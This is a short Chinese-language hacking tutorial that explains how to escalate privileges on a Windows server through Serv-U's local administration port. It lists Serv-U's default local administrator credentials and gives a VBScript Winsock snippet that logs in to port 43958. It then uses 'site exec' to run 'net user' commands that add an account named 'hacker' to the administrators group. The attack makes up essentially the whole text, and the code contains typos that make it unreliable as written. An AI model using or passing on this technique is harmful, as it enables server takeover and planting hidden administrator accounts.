適用環境：服務器禁用FSO，關掉Wscript.shelll,沒有執行權限。

限制：沒有更改管理員的密碼，或者破解出了Serv-U的管理員的密碼。

Serv-U默認用戶名：localadministrator

密碼：#|@$ak#.|k;0@p

下面用MSWinsock。Winsock建立一個連接，并且以System權限添加超級用戶，代碼如下：

Dim revdata Dim sendata Set sock=createobject("MSWinsock.Winsock") Sock.protocol=0 Sock.connect "127.0.0.1",43958 BR>Sendata="LocalAdministrator"& chr(10) &chr(13) Sock.senddata snedata Sendata="#|@$ak#.|k;0@p" &chr(10) &chr(13) Sock.senddata.sendata

使用這個代碼就可以連上FTP了，接下來用Sock.senddata sendata 發送添加有執行權限用戶的命令，想必大家該知道怎么做了吧，對了，就是用"site exec net user hacker hacker /add" "site exec net localgroup administrators hacker /add"